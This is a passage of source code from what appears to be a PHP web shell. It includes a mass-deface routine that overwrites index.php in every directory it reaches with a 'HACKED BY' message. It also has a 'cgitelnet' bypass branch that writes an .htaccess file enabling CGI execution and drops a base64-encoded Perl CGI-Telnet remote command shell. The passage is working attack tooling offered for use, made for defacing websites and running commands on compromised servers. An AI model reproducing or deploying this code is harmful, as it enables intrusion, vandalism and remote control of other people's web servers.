hethot=\'post\'>\r\n<tr>\r\n\t<tr>\r\n\t<td>&nbsp;&nbsp;Folder</td><td><input class =\'inputz\' type=\'text\' name=\'path\' size=\'60\' value="<?php echo getcwd();?>"></td>\r\n\t</tr><br>\r\n\t<tr>\r\n\t<td>file name</td><td><input class =\'inputz\' type=\'text\' name=\'file\' size=\'60\' value="index.php"></td>\r\n\t</tr>\r\n</tr>\r\n<th colspan=\'2\'><b>Index code</b></th><br></table>\r\n<textarea style=\'background:black;outline:none;\' name=\'index\' rows=\'10\' cols=\'67\'>HACKED BY X\'1N73CT,PATCH YOUR SECURITY SYSTEM</textarea><br>\r\n<center><input class=\'inputzbut\' type=\'submit\' value="&nbsp;&nbsp;Deface&nbsp;&nbsp;"></center></form></table><br></form>\r\n\r\n<?php $mainpath=$_POST[path];$file=$_POST[file];$dir=opendir("$mainpath");$code=base64_encode($_POST[index]);$indx=base64_decode($code);while($row=readdir($dir)){$start=@fopen("$row/$file","w+");$finish=@fwrite($start,$indx);if ($finish){echo "$row/$file > Done<br><br>";}}}\r\n\r\n//////////////////////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'cgi\')) { \r\necho "<center/><br/><b><font color=blue>+--==[ cgitelnet.v1  Bypass Exploit]==--+ </font></b><br><br>";\r\n mkdir(\'cgitelnet1\', 0755);\r\n    chdir(\'cgitelnet1\');      \r\n        $kokdosya = ".htaccess";\r\n        $dosya_adi = "$kokdosya";\r\n        $dosya = fopen ($dosya_adi , \'w\') or die ("Dosya a&#231;&#305;lamad&#305;!");\r\n        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\r\nAddType application/x-httpd-cgi .cin\r\n\r\nAddHandler cgi-script .cin\r\nAddHandler cgi-script .cin";    \r\n        fwrite ( $dosya , $metin ) ;\r\n        fclose ($dosya);\r\n$cgishellizocin = \'IyEvdXNyL2Jpbi9wZXJsCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb3B5cmlnaHQgYW5kIExpY2VuY2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIENHSS1UZWxuZXQgVmVyc2lvbiAxLjAgZm9yIE5UIGFuZCBVbml4IDogUnVuIENvbW1hbmRzIG9uIHlvdXIgV2ViIFNlcnZlcgojCiMgQ29weXJpZ2h0IChDKSAyMDAxIFJvaGl0YWIgQmF0cmEKIyBQZXJtaXNzaW9uIGlzIGdyYW50ZWQgdG8gdXNlLCBkaXN0cmlidXRlIGFuZCBtb2RpZnkgdGhpcyBzY3JpcHQgc28gbG9uZwojIGFzIHRoaXMgY29weXJpZ2h0IG5vdGljZSBpcyBsZWZ0IGludGFjdC4gSWYgeW91IG1ha2UgY2hhbmdlcyB0byB0aGUgc2NyaXB0CiMgcGxlYXNlIGRvY3VtZW50IHRoZW0gYW5kIGluZm9ybSBtZS4gSWYgeW91IHdvdWxkIGxpa2UgYW55IGNoYW5nZXMgdG8gYmUgbWFkZQojIGluIHRoaXMgc2NyaXB0LCB5b3UgY2FuIGUtbWFpbCBtZS4KIwojIEF1dGhvcjogUm9oaXRhYiBCYXRyYQojIEF1dGhvciBlLW1haWw6IHJvaGl0YWJAcm9oaXRhYi5jb20KIyBBdXRob3IgSG9tZXBhZ2U6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vCiMgU2NyaXB0IEhvbWVwYWdlOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2NnaXNjcmlwdHMvY2dpdGVsbmV0Lmh0bWwKIyBQcm9kdWN0IFN1cHBvcnQ6IGh0dHA6Ly93d3cucm9oaXRhYi5jb20vc3VwcG9ydC8KIyBEaXNjdXNzaW9uIEZvcnVtOiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL2Rpc2N1c3MvCiMgTWFpbGluZyBMaXN0OiBodHRwOi8vd3d3LnJvaGl0YWIuY29tL21saXN0LwojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgSW5zdGFsbGF0aW9uCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUbyBpbnN0YWxsIHRoaXMgc2NyaXB0CiMKIyAxLiBNb2RpZnkgdGhlIGZpcnN0IGxpbmUgIiMhL3Vzci9iaW4vcGVybCIgdG8gcG9pbnQgdG8gdGhlIGNvcnJlY3QgcGF0aCBvbgojICAgIHlvdXIgc2VydmVyLiBGb3IgbW9zdCBzZXJ2ZXJzLCB5b3UgbWF5IG5vdCBuZWVkIHRvIG1vZGlmeSB0aGlzLgojIDIuIENoYW5nZSB0aGUgcGFzc3dvcmQgaW4gdGhlIENvbmZpZ3VyYXRpb24gc2VjdGlvbiBiZWxvdy4KIyAzLiBJZiB5b3UncmUgcnVubmluZyB0aGUgc2NyaXB0IHVuZGVyIFdpbmRvd3MgTlQsIHNldCAkV2luTlQgPSAxIGluIHRoZQojICAgIENvbmZpZ3VyYXRpb24gU2VjdGlvbiBiZWxvdy4KIyA0LiBVcGxvYWQgdGhlIHNjcmlwdCB0byBhIGRpcmVjdG9yeSBvbiB5b3VyIHNlcnZlciB3aGljaCBoYXMgcGVybWlzc2lvbnMgdG8KIyAgICBleGVjdXRlIENHSSBzY3JpcHRzLiBUaGlzIGlzIHVzdWFsbHkgY2dpLWJpbi4gTWFrZSBzdXJlIHRoYXQgeW91IHVwbG9hZAojICAgIHRoZSBzY3JpcHQgaW4gQVNDSUkgbW9kZS4KIyA1LiBDaGFuZ2UgdGhlIHBlcm1pc3Npb24gKENITU9EKSBvZiB0aGUgc2NyaXB0IHRvIDc1NS4KIyA2LiBPcGVuIHRoZSBzY3JpcHQgaW4geW91ciB3ZWIgYnJvd3Nlci4gSWYgeW91IHVwbG9hZGVkIHRoZSBzY3JpcHQgaW4KIyAgICBjZ2ktYmluLCB0aGlzIHNob3VsZCBiZSBodHRwOi8vd3d3LnlvdXJzZXJ2ZXIuY29tL2NnaS1iaW4vY2dpdGVsbmV0LnBsCiMgNy4gTG9naW4gdXNpbmcgdGhlIHBhc3N3b3JkIHRoYXQgeW91IHNwZWNpZmllZCBpbiBTdGVwIDIuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBDb25maWd1cmF0aW9uOiBZb3UgbmVlZCB0byBjaGFuZ2Ugb25seSAkUGFzc3dvcmQgYW5kICRXaW5OVC4gVGhlIG90aGVyCiMgdmFsdWVzIHNob3VsZCB3b3JrIGZpbmUgZm9yIG1vc3Qgc3lzdGVtcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQokUGFzc3dvcmQgPSAiMTIzNDU2IjsJCSMgQ2hhbmdlIHRoaXMuIFlvdSB3aWxsIG5lZWQgdG8gZW50ZXIgdGhpcwoJCQkJIyB0byBsb2dpbi4KCiRXaW5OVCA9IDA7CQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJIyB5b3UncmUgcnVubmluZyB0aGlzIHNjcmlwdCBvbiBhIFdpbmRvd3MgTlQKCQkJCSMgbWFjaGluZS4gSWYgeW91J3JlIHJ1bm5pbmcgaXQgb24gVW5peCwgeW91CgkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkjIFRoaXMgY2hhcmFjdGVyIGlzIHVzZWQgdG8gc2VwZXJhdGUgMiBjb21tYW5kcwoJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCSMgRG9uJ3Qgc2V0IHRoaXMgdG8gYSB2ZXJ5IGxhcmdlIHZhbHVlLiBUaGlzIGlzCgkJCQkjIHVzZWZ1bCBmb3IgY29tbWFuZHMgdGhhdCBtYXkgaGFuZyBvciB0aGF0CgkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkjIFRoaXMgaXMgdmFsaWQgb25seSBvbiBVbml4IHNlcnZlcnMuIEl0IGlzCgkJCQkjIGlnbm9yZWQgb24gTlQgU2VydmVycy4KCiRTaG93RHluYW1pY091dHB1dCA9IDE7CQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkjIGJyb3dzZXIgYXMgc29vbiBhcyBpdCBpcyBvdXRwdXQsIG90aGVyd2lzZQoJCQkJIyBpdCBpcyBidWZmZXJlZCBhbmQgc2VuZCB3aGVuIHRoZSBjb21tYW5kCgkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCSMgcGluZywgc28gdGhhdCB5b3UgY2FuIHNlZSB0aGUgb3V0cHV0IGFzIGl0CgkJCQkjIGlzIGJlaW5nIGdlbmVyYXRlZC4KCiMgRE9OJ1QgQ0hBTkdFIEFOWVRISU5HIEJFTE9XIFRISVMgTElORSBVTkxFU1MgWU9VIEtOT1cgV0hBVCBZT1UnUkUgRE9JTkcgISEKCiRDbWRTZXAgPSAoJFdpbk5UID8gJE5UQ21kU2VwIDogJFVuaXhDbWRTZXApOwokQ21kUHdkID0gKCRXaW5OVCA/ICJjZCIgOiAicHdkIik7CiRQYXRoU2VwID0gKCRXaW5OVCA/ICJcXCIgOiAiLyIpOwokUmVkaXJlY3RvciA9ICgkV2luTlQgPyAiIDI+JjEgMT4mMiIgOiAiIDE+JjEgMj4mMSIpOwoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG5cbiI7CglwcmludCA8PEVORDsKPGh0bWw+CjxoZWFkPgo8dGl0bGU+Q0dJLVRlbG5ldCBWZXJzaW9uIDEuMDwvdGl0bGU+CiRIdG1sTWV0YUhlYWRlcgo8L2hlYWQ+Cjxib2R5IG9uTG9hZD0iZG9jdW1lbnQuZi5AXy5mb2N1cygpIiBiZ2NvbG9yPSIjMDAwMDAwIiB0b3BtYXJnaW49IjAiIGxlZnRtYXJnaW49IjAiIG1hcmdpbndpZHRoPSIwIiBtYXJnaW5oZWlnaHQ9IjAiPgo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4KPHRyPgo8dGQgYmdjb2xvcj0iI0MyQkZBNSIgYm9yZGVyY29sb3I9IiMwMDAwODAiIGFsaWduPSJjZW50ZXIiPgo8Yj48Zm9udCBjb2xvcj0iIzAwMDA4MCIgc2l6ZT0iMiI+IzwvZm9udD48L2I+PC90ZD4KPHRkIGJnY29sb3I9IiMwMDAwODAiPjxmb250IGZhY2U9IlZlcmRhbmEiIHNpemU9IjIiIGNvbG9yPSIjRkZGRkZGIj48Yj5DR0ktVGVsbmV0IFZlcnNpb24gMS4wIC0gQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPC9iPjwvZm9udD48L3RkPgo8L3RyPgo8dHI+Cjx0ZCBjb2xzcGFuPSIyIiBiZ2NvbG9yPSIjQzJCRkE1Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSIyIj4KPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9dXBsb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj5VcGxvYWQgRmlsZTwvYT4gfCAKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZD0kRW5jb2RlZEN1cnJlbnREaXIiPkRvd25sb2FkIEZpbGU8L2E+IHwKPGEgaHJlZj0iJFNjcmlwdExvY2F0aW9uP2E9bG9nb3V0Ij5EaXNjb25uZWN0PC9hPiB8CjxhIGhyZWY9Imh0dHA6Ly93d3cucm9oaXRhYi5jb20vY2dpc2NyaXB0cy9jZ2l0ZWxuZXQuaHRtbCI+SGVscDwvYT4KPC9mb250PjwvdGQ+CjwvdHI+CjwvdGFibGU+Cjxmb250IGNvbG9yPSIjQzBDMEMwIiBzaXplPSIzIj4KRU5ECn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luU2NyZWVuCnsKCSRNZXNzYWdlID0gcSQ8cHJlPjxmb250IGNvbG9yPSIjNjY5OTk5Ij4gX19fX18gIF9fX19fICBfX19fXyAgICAgICAgICBfX19fXyAgICAgICAgXyAgICAgICAgICAgICAgIF8KLyAgX18gXHwgIF9fIFx8XyAgIF98ICAgICAgICB8XyAgIF98ICAgICAgfCB8ICAgICAgICAgICAgIHwgfAp8IC8gIFwvfCB8ICBcLyAgfCB8ICAgX19fX19fICAgfCB8ICAgIF9fXyB8IHwgXyBfXyAgICBfX18gfCB8Xwp8IHwgICAgfCB8IF9fICAgfCB8ICB8X19fX19ffCAgfCB8ICAgLyBfIFx8IHx8ICdfIFwgIC8gXyBcfCBfX3wKfCBcX18vXHwgfF9cIFwgX3wgfF8gICAgICAgICAgIHwgfCAgfCAgX18vfCB8fCB8IHwgfHwgIF9fL3wgfF8KIFxfX19fLyBcX19fXy8gXF9fXy8gICAgICAgICAgIFxfLyAgIFxfX198fF98fF98IHxffCBcX19ffCBcX198IDEuMAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPiAgICAgICAgICAgICAgICAgICAgICBfX19fX18gICAgICAgICAgICAgPC9mb250Pjxmb250IGNvbG9yPSIjQUU4MzAwIj7CqSAyMDAxLCBSb2hpdGFiIEJhdHJhPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4KICAgICAgICAgICAgICAgICAgIC4tJnF1b3Q7ICAgICAgJnF1b3Q7LS4KICAgICAgICAgICAgICAgICAgLyAgICAgICAgICAgIFwKICAgICAgICAgICAgICAgICB8ICAgICAgICAgICAgICB8CiAgICAgICAgICAgICAgICAgfCwgIC4tLiAgLi0uICAsfAogICAgICAgICAgICAgICAgIHwgKShfby8gIFxvXykoIHwKICAgICAgICAgICAgICAgICB8LyAgICAgL1wgICAgIFx8CiAgICAgICAoQF8gICAgICAgKF8gICAgIF5eICAgICBfKQogIF8gICAgICkgXDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+XDwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X188L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPnxJSUlJSUl8PC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5fXzwvZm9udD48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+LzwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+X19fX19fX19fX19fX19fX19fX19fX18KPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gKF8pPC9mb250Pjxmb250IGNvbG9yPSIjODA4MDgwIj5AOEA4PC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj57fTwvZm9udD48Zm9udCBjb2xvcj0iIzgwODA4MCI+Jmx0O19fX19fX19fPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj58LVxJSUlJSUkvLXw8L2ZvbnQ+PGZvbnQgY29sb3I9IiM4MDgwODAiPl9fX19fX19fX19fX19fX19fX19fX19fXyZndDs8L2ZvbnQ+PGZvbnQgY29sb3I9IiNGRjAwMDAiPgogICAgICAgIClfLyAgICAgICAgXCAgICAgICAgICAvIAogICAgICAgKEAgICAgICAgICAgIGAtLS0tLS0tLWAKICAgICAgICAgICAgIDwvZm9udD48Zm9udCBjb2xvcj0iI0FFODMwMCI+VyBBIFIgTiBJIE4gRzogUHJpdmF0ZSBTZXJ2ZXI8L2ZvbnQ+PC9wcmU+CiQ7CiMnCglwcmludCA8PEVORDsKPGNvZGU+ClRyeWluZyAkU2VydmVyTmFtZS4uLjxicj4KQ29ubmVjdGVkIHRvICRTZXJ2ZXJOYW1lPGJyPgpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dCjxjb2RlPiRNZXNzYWdlCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludExvZ2luRmFpbGVkTWVzc2FnZQp7CglwcmludCA8PEVORDsKPGNvZGU+Cjxicj5sb2dpbjogYWRtaW48YnI+CnBhc3N3b3JkOjxicj4KTG9naW4gaW5jb3JyZWN0PGJyPjxicj4KPC9jb2RlPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIGZvciBsb2dnaW5nIGluCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9naW5Gb3JtCnsKCXByaW50IDw8RU5EOwo8Y29kZT4KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJsb2dpbiI+CmxvZ2luOiBhZG1pbjxicj4KcGFzc3dvcmQ6PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgo8L2NvZGU+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBmb290ZXIgZm9yIHRoZSBIVE1MIFBhZ2UKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUHJpbnRQYWdlRm9vdGVyCnsKCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUmV0cmVpdmVzIHRoZSB2YWx1ZXMgb2YgYWxsIGNvb2tpZXMuIFRoZSBjb29raWVzIGNhbiBiZSBhY2Nlc3NlcyB1c2luZyB0aGUKIyB2YXJpYWJsZSAkQ29va2llc3snJ30KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgR2V0Q29va2llcwp7CglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOwoJZm9yZWFjaCAkY29va2llKEBodHRwY29va2llcykKCXsKCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIExvZ3Mgb3V0IHRoZSB1c2VyIGFuZCBhbGxvd3MgdGhlIHVzZXIgdG8gbG9naW4gYWdhaW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ291dAp7CglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llCgkmUHJpbnRQYWdlSGVhZGVyK